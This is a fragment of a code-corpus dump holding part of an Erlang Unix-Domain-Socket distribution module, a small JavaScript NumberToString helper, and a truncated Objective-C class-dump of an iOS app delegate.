4);\n        _ ->\n            %% For small Creation numbers, open the file ending with the\n            %% \".uds\" extension read/write, in binary mode (so that read\n            %% operations return binaries), in raw mode (so that the file\n            %% operations bypass the need for a file server, which is not\n            %% available and registered yet during the early boot stage).\n            case file:open(SocketPathname ++ \".uds\",\n                           [raw, read, write, binary]) of\n                {ok, File} ->\n                    %% Read 1 byte from File, normally its full content\n                    Creation =\n                        case file:read(File, 1) of\n                            %% Try to match this 1-byte binary with a\n                            %% character in the $1..$2 range.\n                            {ok, <>} when $0 < X, X < $3 ->\n                                %% Increment the previous value if found\n                                X + 1;\n                            _ ->\n                                %% Start or wrap back to $1 otherwise\n                                $1\n                        end,\n                    %% Write the new Creation number in position 0 in File,\n                    %% so that it overwrites the previous value.\n                    file:pwrite(File, 0, <>),\n                    file:close(File),\n                    %% Convert the 1 byte character to its integer value\n                    binary_to_integer(<>);\n\n                {error, _Reason} ->\n                    %% The file couldn't be opened, return a random value\n                    rand:uniform(3)\n            end\n    end.\n\n\n-spec accept(ListeningSocket) -> AcceptPid :: pid() when\n      ListeningSocket :: gen_tcp:socket().\n%% ---------------------------------------------------------------------\n%% Accept new connection attempts from other Erlang nodes.\n%%\n%% accept/1 spawns an accept_loop process that accepts connections and\n%% returns its process identifier.\n%%\n%% The caller of the accept_loop is a representative for net_kernel and\n%% is identified as Kernel below. This may or may not be the process\n%% registered as net_kernel.\n%%\n%% When a new connection is accepted, the accept_loop creates a distribution\n%% controller, whose job is to dispatch traffic on the connection, then\n%% it informs Kernel about the accepted connection.\n%%\n%% The ListeningSocket argument will be the same as the ListeningSocket handle\n%% of the return value from the listen/1 callback above, i.e. the listening\n%% Unix Domain Socket through which this Erlang node is accessible.\n%%\n%% accept/1 is called only once when the distribution protocol is brought up.\n%% ---------------------------------------------------------------------\naccept(ListeningSocket) ->\n    spawn_opt(?MODULE, accept_loop, [self(), ListeningSocket],\n              %% Spawn on max priority\n              [link, {priority, max}]).\n\naccept_loop(Kernel, ListeningSocket) ->\n    case gen_tcp:accept(ListeningSocket) of\n        {ok, Socket} ->\n            %% Create a distribution controller process in charge of the\n            %% accepted connection, available through Socket.\n            DistCtrl = spawn_dist_controller(Socket),\n            ?trace(\"~p~n\",[{?MODULE, accept, accepted, Socket,\n                            DistCtrl, self()}]),\n            %% Set this process as the new controlling process of Socket, i.e.\n            %% the process that receives messages from Socket.\n            flush_controller(DistCtrl, Socket),\n            gen_tcp:controlling_process(Socket, DistCtrl),\n            flush_controller(DistCtrl, Socket),\n            %% Inform Kernel about the accepted connection. DistCtrl is\n            %% passed as the identifier of the distribution controller,\n            %% 'local' as the address family for Unix Domain Sockets and\n            %% 'stream' as the protocol for the SOCK_STREAM socket type.\n            Kernel ! {accept, self(), DistCtrl, local, stream},\n            receive\n                %% The request was accepted. SupervisorPid is the process\n                %% identifier of the connection supervisor process (created\n                %% in the accept_connection/5 callback).\n                {Kernel, controller, SupervisorPid} ->\n                    %% Set SupervisorPid as the supervisor of the\n                    %% distribution controller.\n                    call_controller(DistCtrl, {supervisor, SupervisorPid}),\n                    %% And continue with the handshake.\n                    SupervisorPid ! {self(), controller};\n                %% The request was rejected, this is a fatal error, the\n                %% accept_loop process should terminate.\n                {Kernel, unsupported_protocol} ->\n                    exit(unsupported_protocol)\n            end,\n            accept_loop(Kernel, ListeningSocket);\n        {error, closed} ->\n            ?trace(\"~p~n\",[{?MODULE, accept, ListeningSocket,\n                            closed, self()}]),\n            exit(closing_connection);\n        Error ->\n            ?trace(\"~p~n\",[{?MODULE, accept, ListeningSocket,\n                            Error, self()}]),\n            exit(Error)\n    end.\n\n\n-spec accept_connection(AcceptPid, DistCtrl, MyNode, Allowed, SetupTime) ->\n                               ConnectionSupervisorPid :: pid() when\n      AcceptPid :: pid(),\n      DistCtrl :: pid(),\n      MyNode :: node(),\n      Allowed :: list(),\n      SetupTime :: non_neg_integer().\n%% ---------------------------------------------------------------------\n%% accept_connection/5 spawns an accept_supervisor process that accepts\n%% a new connection attempt from another Erlang node and performs the\n%% handshake with the other side. Callbacks and other information needed\n%% for the handshake are provided in a #hs_data{} record. If the handshake\n%% successfully completes, this process will continue to function as the\n%% connection supervisor as long as the connection is up.\n%%\n%% The process identifier of this accept_supervisor is returned.\n%%\n%% The caller of accept_supervisor is a representative for net_kernel and\n%% is identified as Kernel below.\n%%\n%% AcceptPid is the process identifer created by accept/1.\n%%\n%% DistCtrl is the identifier of the distribution controller process in\n%% charge of the connection, as created by the accept_loop process above.\n%%\n%% MyNode is the name of this node.\n%%\n%% The Allowed argument is to be passed during the handshake.\n%%\n%% SetupTime is used to create a setup timer, to be passed during the\n%% handshake.\n%% ---------------------------------------------------------------------\naccept_connection(AcceptPid, DistCtrl, MyNode, Allowed, SetupTime) ->\n    spawn_opt(?MODULE, accept_supervisor,\n              [self(), AcceptPid, DistCtrl, MyNode, Allowed, SetupTime],\n              %% Spawn on max priority\n              [link, {priority, max}]).\n\naccept_supervisor(Kernel, AcceptPid, DistCtrl, MyNode, Allowed, SetupTime) ->\n    ?trace(\"~p~n\", [{?MODULE, accept_connection, self()}]),\n    receive\n        {AcceptPid, controller} ->\n            Timer = dist_util:start_timer(SetupTime),\n            HSData0 = hs_data_common(DistCtrl),\n            HSData = HSData0#hs_data{\n                       kernel_pid = Kernel,\n                       this_node = MyNode,\n                       socket = DistCtrl,\n                       timer = Timer,\n                       allowed = Allowed,\n                       %% Return the remote address using the #net_address{}\n                       %% record format.\n                       f_address =\n                           fun(_,_) ->\n                                   #net_address{\n                                      %% Unix Domain Sockets don't have a\n                                      %% socket address in a {local, Pathname}\n                                      %% format on the 'connect' side, which\n                                      %% is unnamed when not bound.\n                                      address = [],\n                                      %% Simply use 'localhost' as a convention\n                                      %% as host is not used in net_kernel.\n                                      host = localhost,\n                                      %% 'local' is the address family used\n                                      %% for Unix Domain Sockets.\n                                      family = local,\n                                      %% 'stream' is the convention chosen to\n                                      %% represent the SOCK_STREAM socket type.\n                                      protocol = stream}\n                           end\n                      },\n            ?trace(\"handshake_other_started received on node (~p)~n\",\n                   [MyNode]),\n            dist_util:handshake_other_started(HSData)\n    end.\n\n\n%% ---------------------------------------------------------------------\n%% Define common values of the handshake data record, defined in\n%% kernel/include/dist_util.hrl\n%% ---------------------------------------------------------------------\nhs_data_common(DistCtrl) ->\n    TickHandler = call_controller(DistCtrl, tick_handler),\n    Socket = call_controller(DistCtrl, socket),\n    #hs_data{%% Flags the node should use. Simply use the default config\n             this_flags = 0,\n             %% Send Packet to the other side\n             f_send =\n                 fun(Ctrl, Packet) ->\n                         call_controller(Ctrl, {send, Packet})\n                 end,\n             %% Receive a packet of Length bytes, within Timeout milliseconds\n             f_recv =\n                 fun(Ctrl, Length, Timeout) ->\n                         case call_controller(Ctrl, {recv, Length, Timeout}) of\n                             {ok, Bin} when is_binary(Bin) ->\n                                 {ok, binary_to_list(Bin)};\n                             Other -> Other\n                         end\n                 end,\n             %% Set the Socket options before nodeup is delivered to net_kernel\n             f_setopts_pre_nodeup =\n                 fun(Ctrl) ->\n                         call_controller(Ctrl, pre_nodeup)\n                 end,\n             %% Set the Socket options after nodeup is delivered to net_kernel\n             f_setopts_post_nodeup =\n                 fun(Ctrl) ->\n                         call_controller(Ctrl, post_nodeup)\n                 end,\n             %% Get the identifier of the low level entity that handles the\n             %% connection (often DistCtrl itself).\n             f_getll =\n                 fun(Ctrl) ->\n                         call_controller(Ctrl, getll)\n                 end,\n\n             %% The following two functions are used in the tick loop:\n             %% Send a 'tick' request to the tick handler\n             mf_tick = fun (Ctrl) when Ctrl == DistCtrl ->\n                               TickHandler ! tick\n                       end,\n             %% Get stats about send, received or pending packets\n             mf_getstat =\n                 fun(Ctrl) when Ctrl == DistCtrl ->\n                         case inet:getstat(Socket,\n                                           [recv_cnt, send_cnt, send_pend]) of\n                             {ok, Stat} ->\n                                 split_stat(Stat, 0, 0, 0);\n                             Error ->\n                                 Error\n                         end\n                 end,\n\n             %% New in kernel-5.1 (OTP 19.1):\n\n             %% List of Socket options to set on future connections\n             mf_setopts = fun (Ctrl, Options) when Ctrl == DistCtrl ->\n                               setopts(Socket, Options)\n                          end,\n             %% List of Socket options to read for future connections\n             mf_getopts = fun (Ctrl, Options) when Ctrl == DistCtrl ->\n                               getopts(Socket, Options)\n                          end,\n\n             %% New in kernel-6.0 (OTP 21.0):\n\n             %% Function called when the handshake has completed and the\n             %% distribution connection is up. The distribution controller\n             %% can begin dispatching traffic.\n             %%\n             %% DHandle is a distribution handle identifying the connection and\n             %% needed for a few erlang:dist_ctrl_xxx built-in functions.\n             f_handshake_complete = fun (Ctrl, Node, DHandle) ->\n                                            call_controller(Ctrl,\n                                                            {handshake_complete,\n                                                             Node, DHandle})\n                                    end\n             %% Optional fields in the handshake data record:\n             %% add_flags       Distribution flags to add to the connection\n             %% reject_flags    Distribution flags to reject\n             %% require_flags   Distribution flags that are required\n\n             %% New in kernel-7.0 (OTP 23.0):\n\n             %% other_creation  Creation number of the other node, passed\n             %%                 in the new handshake protocol introduced\n             %%                 in distribution protocol version 6.\n             %% this_creation   Used with dynamic node name, that can be\n             %%                 requested by a connecting node from the\n             %%                 accepting node it first connects to, as\n             %%                 part of the handshake. This Creation\n             %%                 number to set is received at the same time.\n      }.\n\n\n%% ---------------------------------------------------------------------\n%% Return the Stat output from inet:getstat in the format expected by\n%% the mf_getstat fun as defined in dist_util.hrl\n%% ---------------------------------------------------------------------\nsplit_stat([{recv_cnt, R}|Stat], _, W, P) ->\n    split_stat(Stat, R, W, P);\nsplit_stat([{send_cnt, W}|Stat], R, _, P) ->\n    split_stat(Stat, R, W, P);\nsplit_stat([{send_pend, P}|Stat], R, W, _) ->\n    split_stat(Stat, R, W, P);\nsplit_stat([], R, W, P) ->\n    {ok, R, W, P}.\n\n\n-spec setopts(ListeningSocket, Options) -> ok | {error, Error} when\n      ListeningSocket :: gen_tcp:socket(),\n      Options :: [inet:socket_setopt()],\n      Error :: inet:posix().\n%% ---------------------------------------------------------------------\n%% Set the list of options to apply on future connections.\n%%\n%% ListeningSocket is the handle originally passed from the listen/1 callback.\n%%\n%% Options is the list of options to apply, with a set of forbidden ones.\n%% ---------------------------------------------------------------------\nsetopts(ListeningSocket, Options) ->\n    case [Option || {K, _} = Option <- Options,\n                    K =:= active orelse K =:= deliver orelse K =:= packet] of\n        [] -> inet:setopts(ListeningSocket, Options);\n        Opts1 -> {error, {badopts, Opts1}}\n    end.\n\n\n-spec getopts(ListeningSocket, Options) -> {ok, OptionValues} |\n                                           {error, Error} when\n      ListeningSocket :: gen_tcp:socket(),\n      Options :: [inet:socket_getopt()],\n      OptionValues :: [inet:socket_setopt() | gen_tcp:pktoptions_value()],\n      Error :: inet:posix().\n%% ---------------------------------------------------------------------\n%% Set the list of options to read for future connections.\n%%\n%% ListeningSocket is the handle originally passed from the listen/1 callback.\n%%\n%% Options is the list of options.\n%% ---------------------------------------------------------------------\ngetopts(ListeningSocket, Options) ->\n    inet:getopts(ListeningSocket, Options).\n\n\n-spec setup(Node, Type, MyNode, LongOrShortNames, SetupTime) ->\n                   ConnectionSupervisorPid :: pid() when\n      Node :: node(),\n      Type :: atom(),\n      MyNode :: node(),\n      LongOrShortNames :: shortnames | longnames,\n      SetupTime :: non_neg_integer().\n%% ---------------------------------------------------------------------\n%% setup/5 spawns a setup_supervisor process that initiates a new connection\n%% attempt with another Erlang node and performs the handshake with the\n%% other side. Callbacks and other information needed for the handshake are\n%% provided in a #hs_data{} record. If the handshake successfully completes,\n%% this process will continue to function as a connection supervisor as long\n%% as the connection is up (still 'ticking').\n%%\n%% The process identifier of this setup_supervisor is returned.\n%%\n%% The spawned setup_supervisor process creates a separate distribution\n%% controller responsible for dispatching traffic on the connection.\n%%\n%% The caller of setup_supervisor is a representative for net_kernel and\n%% is identified as Kernel below.\n%%\n%% Node is the name of the other Erlang node to connect to, it defines the\n%% listening Unix Domain Socket it listens on. The socket file pathname is\n%% the part before the '@' character for a full node name in Name@Host format\n%% (whether short or long names are used) or the entire Node name otherwise.\n%%\n%% Type is the connection type to be passed during the handshake.\n%%\n%% MyNode is the name of this node.\n%%\n%% The LongOrShortNames argument is either the 'longnames' atom or the\n%% 'shortnames' atom, indicating whether long or short names are used. This\n%% distinction is simply ignored as all nodes are running locally on the\n%% same host with this alternative Erlang distribution protocol.\n%%\n%% SetupTime is used to create a setup timer, to be passed during the\n%% handshake.\n%% ---------------------------------------------------------------------\nsetup(Node, Type, MyNode, _LongOrShortNames, SetupTime) ->\n    spawn_opt(?MODULE, setup_supervisor,\n\t      [self(), Node, Type, MyNode, SetupTime],\n              %% Spawn on max priority\n              [link, {priority, max}]).\n\nsetup_supervisor(Kernel, Node, Type, MyNode, SetupTime) ->\n    ?trace(\"~p~n\", [{?MODULE, setup, self(), Node}]),\n    %% No need for a host name lookup as this alternative Erlang distribution\n    %% protocol only supports nodes running locally on the same host.\n    %%\n    %% Retrieve the socket pathname from Node.\n    SocketPathname = get_pathname(Node),\n    %% The options passed to connect:\n    %% - {local, Pathname :: binary() | string()} indicates to use a\n    %%   Unix Domain Socket and defines which file pathname to connect to.\n    %% - binary, to have each packet delivered as a binary.\n    %% - {active, false} sets the socket in passive mode, meaning\n    %%   the packets must be explicitly retrieved by calling recv/2,3.\n    %% - {packet, 2} specifies a packet header length of 2 bytes, which\n    %%   is expected in every message of the distribution protocol\n    %%   until the initial handshake completes.\n    %%\n    %% As documented, the port number must weirdly be set to 0 when using\n    %% gen_tcp API functions for Unix Domain Sockets.\n    case gen_tcp:connect({local, SocketPathname},\n                         0,\n                         [binary, {active, false}, {packet, 2}]) of\n        {ok, Socket} ->\n            Timer = dist_util:start_timer(SetupTime),\n            %% Create a distribution controller process in charge of\n            %% dispatching traffic on the connection to the other Erlang node,\n            %% available through Socket.\n            DistCtrl = spawn_dist_controller(Socket),\n            %% Set this process as the supervisor of the distribution controller\n            call_controller(DistCtrl, {supervisor, self()}),\n            %% Set this process as the new controlling process of Socket, i.e.\n            %% the process that receives messages from Socket.\n            flush_controller(DistCtrl, Socket),\n            gen_tcp:controlling_process(Socket, DistCtrl),\n            flush_controller(DistCtrl, Socket),\n            %% Get the remote socket address in a {local, Pathname} format\n            {ok, SocketAddress} = inet:peername(Socket),\n            HSData0 = hs_data_common(DistCtrl),\n            HSData = HSData0#hs_data{\n                       kernel_pid = Kernel,\n                       other_node = Node,\n                       this_node = MyNode,\n                       socket = DistCtrl,\n                       timer = Timer,\n                       other_version = ?ERL_DIST_VER,\n                       request_type = Type,\n                       %% Return the remote address using the #net_address{}\n                       %% record format.\n                       f_address =\n                           fun(_,_) ->\n                                   #net_address{\n                                      address = SocketAddress,\n                                      %% Simply use 'localhost' as a convention\n                                      %% as host is not used in net_kernel.\n                                      host = localhost,\n                                      %% 'local' is the address family used\n                                      %% for Unix Domain Sockets.\n                                      family = local,\n                                      %% 'stream' is the convention chosen to\n                                      %% represent the SOCK_STREAM socket type.\n                                      protocol = stream}\n                           end\n                      },\n            %% Start the handshake and check that the connection is up\n            %% (still 'ticking').\n            ?trace(\"handshake_we_started with node on socket (~p)~n\",\n                   [SocketPathname]),\n            dist_util:handshake_we_started(HSData);\n\n        _Other ->\n            ?trace(\"gen_tcp:connect to node (~p) failed (~p).~n\",\n                   [Node, _Other]),\n            ?shutdown(Node)\n    end.\n\n\n-spec close(ListeningSocket) -> ok when\n      ListeningSocket :: gen_tcp:socket().\n%% ---------------------------------------------------------------------\n%% Close the listening Unix Domain Socket through which this Erlang node\n%% is accessible.\n%% ---------------------------------------------------------------------\nclose(ListeningSocket) ->\n    %% Get the listening socket address in a {local, Pathname} format\n    {ok, SocketAddress} = inet:sockname(ListeningSocket),\n    {local, SocketPathname} = SocketAddress,\n    %% Remove the socket file from the filesystem\n    file:delete(SocketPathname),\n    gen_tcp:close(ListeningSocket).\n\n\n-spec get_pathname(Node) -> Pathname when\n      Node :: node(),\n      Pathname :: string().\n%% ---------------------------------------------------------------------\n%% Retrieve the socket pathname from Node.\n%%\n%% The socket pathname is the part before the '@' character for a full node\n%% name in Name@Host format (whether short or long names are used) or the\n%% entire Node name otherwise.\n%% ---------------------------------------------------------------------\nget_pathname(Node) ->\n    NodeString = atom_to_list(Node),\n    lists:takewhile(fun(C) -> C =/= $@ end, NodeString).\n\n\n%% ---------------------------------------------------------------------\n%% Flush all the tcp and tcp_closed received messages and transfer them\n%% to the Pid process. This is used when setting Pid as the new controlling\n%% process of Socket. This function needs to be called twice: just before\n%% and right after calling controlling_process(Socket, Pid).\n%% ---------------------------------------------------------------------\nflush_controller(Pid, Socket) ->\n    receive\n        {tcp, Socket, Data} ->\n            Pid ! {tcp, Socket, Data},\n            flush_controller(Pid, Socket);\n        {tcp_closed, Socket} ->\n            Pid ! {tcp_closed, Socket},\n            flush_controller(Pid, Socket)\n    after 0 ->\n            ok\n    end.\n\n\n%% ---------------------------------------------------------------------\n%% Distribution controller processes\n%%\n%% There will be five parties working together when the\n%% connection is up:\n%%\n%% - The gen_tcp socket. It provides a connection to the other\n%%   node through a Unix Domain Socket.\n%%\n%% - The output handler. It will dispatch all outgoing traffic\n%%   from this node to the remote node through the socket. This\n%%   process is registered as a distribution controller for this\n%%   connection.\n%%\n%% - The input handler. It will dispatch all incoming traffic\n%%   from the remote node to this node through the socket. This\n%%   process is also the socket controlling process, receiving\n%%   incoming traffic in active mode using {active, N}.\n%%\n%% - The tick handler. It sends asynchronous tick messages to the\n%%   socket to check for node liveness. It executes on max priority\n%%   since it is important to get ticks through to the other end.\n%%\n%% - The connection supervisor, provided by dist_util. It monitors\n%%   traffic and issues tick requests to the tick handler when\n%%   no outgoing traffic is happening. If no incoming traffic is\n%%   received, the other node is considered to be down and the\n%%   connection is closed. This process also executes on max priority.\n%%\n%%   These parties are linked together so should one of them fail,\n%%   all of them are terminated and the connection is taken down.\n%% ---------------------------------------------------------------------\n\n\n%% In order to avoid issues with lingering signal binaries,\n%% enable off-heap message queue data as well as fullsweep\n%% after 0. The fullsweeps will be cheap since there is more\n%% or less no live data.\n-define(DIST_CONTROLLER_COMMON_SPAWN_OPTS,\n        [{message_queue_data, off_heap},\n         {fullsweep_after, 0}]).\n\n\n%% ---------------------------------------------------------------------\n%% Setup the distribution controller by spawning the tick handler\n%% and starting the setup loop.\n%% ---------------------------------------------------------------------\nspawn_dist_controller(Socket) ->\n    spawn_opt(fun() -> dist_controller_setup(Socket) end,\n              %% Spawn on max priority\n              [{priority, max}] ++ ?DIST_CONTROLLER_COMMON_SPAWN_OPTS).\n\ndist_controller_setup(Socket) ->\n    TickHandler = spawn_opt(fun() -> tick_handler(Socket) end,\n              %% Spawn on max priority\n              [link, {priority, max}] ++ ?DIST_CONTROLLER_COMMON_SPAWN_OPTS),\n    dist_controller_setup_loop(Socket, TickHandler, undefined).\n\n\n%% ---------------------------------------------------------------------\n%% During the handshake phase, loop in dist_controller_setup_loop(). When the\n%% connection is up, spawn an input handler and continue as output handler.\n%%\n%% Sup, the connection supervisor\n%% ---------------------------------------------------------------------\ndist_controller_setup_loop(Socket, TickHandler, Sup) ->\n    receive\n        {tcp_closed, Socket} ->\n            exit(connection_closed);\n\n        %% Set Pid as the connection supervisor, link with it and\n        %% send the linking result back.\n        {Ref, From, {supervisor, Pid}} ->\n            Res = link(Pid),\n            From ! {Ref, Res},\n            dist_controller_setup_loop(Socket, TickHandler, Pid);\n\n        %% Send the tick handler to the From process\n        {Ref, From, tick_handler} ->\n            From ! {Ref, TickHandler},\n            dist_controller_setup_loop(Socket, TickHandler, Sup);\n\n        %% Send the socket to the From process\n        {Ref, From, socket} ->\n            From ! {Ref, Socket},\n            dist_controller_setup_loop(Socket, TickHandler, Sup);\n\n        %% Send Packet onto the socket and send the result back\n        {Ref, From, {send, Packet}} ->\n            Res = gen_tcp:send(Socket, Packet),\n            From ! {Ref, Res},\n            dist_controller_setup_loop(Socket, TickHandler, Sup);\n\n        %% Receive a packet of Length bytes, within Timeout milliseconds\n        {Ref, From, {recv, Length, Timeout}} ->\n            Res = gen_tcp:recv(Socket, Length, Timeout),\n            From ! {Ref, Res},\n            dist_controller_setup_loop(Socket, TickHandler, Sup);\n\n        %% Send the low level distribution controller pid to the From process\n        {Ref, From, getll} ->\n            From ! {Ref, {ok, self()}},\n            dist_controller_setup_loop(Socket, TickHandler, Sup);\n\n        %% Set the Socket options just before the connection is established\n        %% for normal data traffic and before nodeup is delivered. A nodeup\n        %% message is delivered when a new node is connected.\n        {Ref, From, pre_nodeup} ->\n            %% Switch the distribution protocol to a packet header of\n            %% 4 bytes which is used to store the length of each packet\n            %% sent over the streamed Unix Domain Sockets.\n            Res = inet:setopts(Socket,\n                               [{active, false},\n                                {packet, 4}]),\n            From ! {Ref, Res},\n            dist_controller_setup_loop(Socket, TickHandler, Sup);\n\n        %% Set the Socket options just after the connection is established\n        %% for normal data traffic and after nodeup is delivered.\n        {Ref, From, post_nodeup} ->\n            %% Switch the distribution protocol to a packet header of\n            %% 4 bytes, as explained above.\n            %% The previous pre_nodeup case should normally be enough.\n            Res = inet:setopts(Socket,\n                               [{active, false},\n                                {packet, 4}]),\n            From ! {Ref, Res},\n            dist_controller_setup_loop(Socket, TickHandler, Sup);\n\n        %% The handshake has completed and the connection is up, the\n        %% distribution controller can begin dispatching traffic.\n        {Ref, From, {handshake_complete, _Node, DHandle}} ->\n            From ! {Ref, ok},\n            %% Handshake complete! Begin dispatching traffic\n\n            %% Use a separate process for dispatching input. This\n            %% is not necessary, but it enables parallel execution\n            %% of independent work loads at the same time as it\n            %% simplifies the implementation.\n            InputHandler = spawn_opt(\n                             fun() -> dist_controller_input_handler(DHandle,\n                                                                    Socket,\n                                                                    Sup)\n                             end,\n                             [link] ++ ?DIST_CONTROLLER_COMMON_SPAWN_OPTS),\n\n            %% Set this process as the new controlling process of Socket, i.e.\n            %% the process that receives messages from Socket.\n            flush_controller(InputHandler, Socket),\n            gen_tcp:controlling_process(Socket, InputHandler),\n            flush_controller(InputHandler, Socket),\n\n            %% Register the input handler process\n            erlang:dist_ctrl_input_handler(DHandle, InputHandler),\n\n            %% Inform the input handler that it has been registered\n            InputHandler ! DHandle,\n\n            %% From now on, execute on normal priority\n            process_flag(priority, normal),\n\n            %% Request notification when outgoing data is available to fetch.\n            %% A dist_data message will be sent.\n            erlang:dist_ctrl_get_data_notification(DHandle),\n\n            %% And continue as output handler\n            dist_controller_output_handler(DHandle, Socket)\n    end.\n\n\n%% ---------------------------------------------------------------------\n%% Call the distribution controller with Message and get Result in return.\n%%\n%% The distribution controller is monitored to be notified if it has been\n%% terminated.\n%% ---------------------------------------------------------------------\ncall_controller(DistCtrl, Message) ->\n    Ref = erlang:monitor(process, DistCtrl),\n    DistCtrl ! {Ref, self(), Message},\n    receive\n        {Ref, Result} ->\n            erlang:demonitor(Ref, [flush]),\n            Result;\n        {'DOWN', Ref, process, DistCtrl, Reason} ->\n            exit({dist_controller_exit, Reason})\n    end.\n\n\n%% Use active 10 for good throughput while still maintaining back-pressure\n%% if the input controller isn't able to handle all incoming messages.\n%% This approach is re-used as-is from the gen_tcp_dist.erl example.\n-define(ACTIVE_INPUT, 10).\n\n\n%% ---------------------------------------------------------------------\n%% Input handler\n%%\n%% Dispatch all traffic from the remote node coming to this node through\n%% the socket.\n%% ---------------------------------------------------------------------\ndist_controller_input_handler(DHandle, Socket, Sup) ->\n    link(Sup),\n    receive\n        %% Wait for the input handler to be registered before starting\n        %% to deliver incoming data.\n        DHandle ->\n            dist_controller_input_loop(DHandle, Socket, 0)\n    end.\n\n\ndist_controller_input_loop(DHandle, Socket, N) when N =< ?ACTIVE_INPUT/2 ->\n    %% Set the socket in active mode and define the number of received data\n    %% packets that will be delivered as {tcp, Socket, Data} messages.\n    inet:setopts(Socket, [{active, ?ACTIVE_INPUT - N}]),\n    dist_controller_input_loop(DHandle, Socket, ?ACTIVE_INPUT);\n\ndist_controller_input_loop(DHandle, Socket, N) ->\n    receive\n        %% In active mode, data packets are delivered as messages\n        {tcp, Socket, Data} ->\n            %% When data is received from the remote node, deliver it\n            %% to the local node.\n            try erlang:dist_ctrl_put_data(DHandle, Data)\n            catch _ : _ -> death_row()\n            end,\n            %% Decrease the counter when looping so that the socket is\n            %% set with {active, Count} again to receive more data.\n            dist_controller_input_loop(DHandle, Socket, N-1);\n\n        %% Connection to remote node terminated\n        {tcp_closed, Socket} ->\n            exit(connection_closed);\n\n        %% Ignore all other messages\n        _ ->\n            dist_controller_input_loop(DHandle, Socket, N)\n    end.\n\n\n%% ---------------------------------------------------------------------\n%% Output handler\n%%\n%% Dispatch all outgoing traffic from this node to the remote node through\n%% the socket.\n%% ---------------------------------------------------------------------\ndist_controller_output_handler(DHandle, Socket) ->\n    receive\n        dist_data ->\n            %% Available outgoing data to send from this node\n            try dist_controller_send_data(DHandle, Socket)\n            catch _ : _ -> death_row()\n            end,\n            dist_controller_output_handler(DHandle, Socket);\n\n        _ ->\n            %% Ignore all other messages\n            dist_controller_output_handler(DHandle, Socket)\n    end.\n\ndist_controller_send_data(DHandle, Socket) ->\n    %% Fetch data from the local node to be sent to the remote node\n    case erlang:dist_ctrl_get_data(DHandle) of\n        none ->\n            %% Request notification when more outgoing data is available.\n            %% A dist_data message will be sent.\n            erlang:dist_ctrl_get_data_notification(DHandle);\n        Data ->\n            socket_send(Socket, Data),\n            %% Loop as long as there is more data available to fetch\n            dist_controller_send_data(DHandle, Socket)\n    end.\n\n\n%% ---------------------------------------------------------------------\n%% Tick handler\n%%\n%%\n%% The tick handler process writes a tick message to the socket when it\n%% receives a 'tick' request from the connection supervisor.\n%% ---------------------------------------------------------------------\ntick_handler(Socket) ->\n    ?trace(\"~p~n\", [{?MODULE, tick_handler, self()}]),\n    receive\n        tick ->\n            %% May block due to busy port...\n            socket_send(Socket, \"\");\n        _ ->\n            ok\n    end,\n    tick_handler(Socket).\n\n\n%% ---------------------------------------------------------------------\n%% Send Data on Socket\n%% ---------------------------------------------------------------------\nsocket_send(Socket, Data) ->\n    try gen_tcp:send(Socket, Data) of\n        ok -> ok;\n        {error, Reason} -> death_row({send_error, Reason})\n    catch\n        Type : Reason -> death_row({send_error, {Type, Reason}})\n    end.\n\n\n%% ---------------------------------------------------------------------\n%% death_row\n%%\n%% When the connection is on its way down, operations begin to fail. We\n%% catch the failures and call this function waiting for termination. We\n%% should be terminated by one of our links to the other involved parties\n%% that began bringing the connection down. By waiting for termination we\n%% avoid altering the exit reason for the connection teardown. We however\n%% limit the wait to 5 seconds and bring down the connection ourselves if\n%% not terminated...\n%% ---------------------------------------------------------------------\ndeath_row() ->\n    death_row(connection_closed).\n\ndeath_row(normal) ->\n    %% We do not want to exit with normal exit reason since it won't\n    %% bring down linked processes...\n    death_row();\n\ndeath_row(Reason) ->\n    receive after 5000 -> exit(Reason) end.\n\n\n%% ---------------------------------------------------------------------\n%% to_string(S) -> string()\n%%\n%%\n%% to_string/1 creates a string from an atom or a string.\n%% ---------------------------------------------------------------------\nto_string(S) when is_atom(S) -> atom_to_list(S);\nto_string(S) when is_list(S) -> S.\n"}
+{"text": "'use strict';\n\nvar GetIntrinsic = require('../GetIntrinsic');\n\nvar $String = GetIntrinsic('%String%');\n\nvar Type = require('./Type');\n\n// https://www.ecma-international.org/ecma-262/9.0/#sec-tostring-applied-to-the-number-type\n\nmodule.exports = function NumberToString(m) {\n\tif (Type(m) !== 'Number') {\n\t\tthrow new TypeError('Assertion failed: \"m\" must be a String');\n\t}\n\n\treturn $String(m);\n};\n\n"}
+{"text": "\n{\n    CAppObserverCenter *m_appObserverCenter;\n    CMainControll *m_mainController;\n    MMServiceCenter *m_serviceCenter;\n    CAppViewControllerManager *m_appViewControllerMgr;\n    NSString *m_nsToken;\n    NSString *m_nsSound;\n    NSString *m_nsVoipSound;\n    unsigned long m_uLastTimeResignActive;\n    long m_tTotalRunningTime;\n    long m_tLastActiveTime;\n    int m_appVerCompareWithLastRun;\n    BOOL m_isActive;\n    UILabel *m_changeValueLabel;\n    UILabel *m_resourceLabel;\n    UIWindow *m_resourceWindow;\n    ResourceInfo *m_lastResourceInfo;\n    ResourceMonitor *m_resourceMonitor;\n    NSRecursiveLock *mActiveLock;\n    BOOL mInBackground;\n    UIWindow *_window;\n}\n\n@property(retain, nonatomic) NSRecursiveLock *mActiveLock; // @synthesize mActiveLock;\n@property(readonly, nonatomic) BOOL m_isActive; // @synthesize m_isActive;\n@property(readonly, nonatomic) CAppObserverCenter *m_appObserverCenter; // @synthesize m_appObserverCenter;\n@property(readonly, nonatomic) CAppViewControllerManager *m_appViewControllerMgr; // @synthesize m_appViewControllerMgr;\n@property(retain, nonatomic) NSString *m_nsVoipSound; // @synthesize m_nsVoipSound;\n@property(retain, nonatomic) NSString *m_nsSound; // @synthesize m_nsSound;\n@property(retain, nonatomic) NSString *m_nsToken; // @synthesize m_nsToken;\n@property(retain, nonatomic) CMainControll *m_mainController; // @synthesize m_mainController;\n@property(retain, nonatomic) UIWindow *window; // @synthesize window=_window;\n- (void)setInBackground:(BOOL)arg1;\n- (BOOL)getInBackground;\n- (void)onUpdateResourceInfo:(id)arg1;\n- (void)setUserAgent;\n- (void)alertView:(id)arg1 clickedButtonAtIndex:(int)arg2;\n- (void)closeMainFrameWithoutReset;\n- (void)delayStopMain;\n- (void)closeMainFrameInternal:(BOOL)arg1;\n- (void)dealloc;\n- (int)GetAppVerCompareWithLastRun;\n- (void)saveAppVersion;\n- (void)detectAppFirstRunOrFirstRunAfterUpgrade;\n- (void)firstStartAfterUpgradeDowngrade;\n- (void)didReceiveLocalMemoryWarning:(id)arg1;\n- (void)applicationDidReceiveMemoryWarning:(id)arg1;\n- (void)handleMemoryWarning;\n- (BOOL)application:(id)arg1 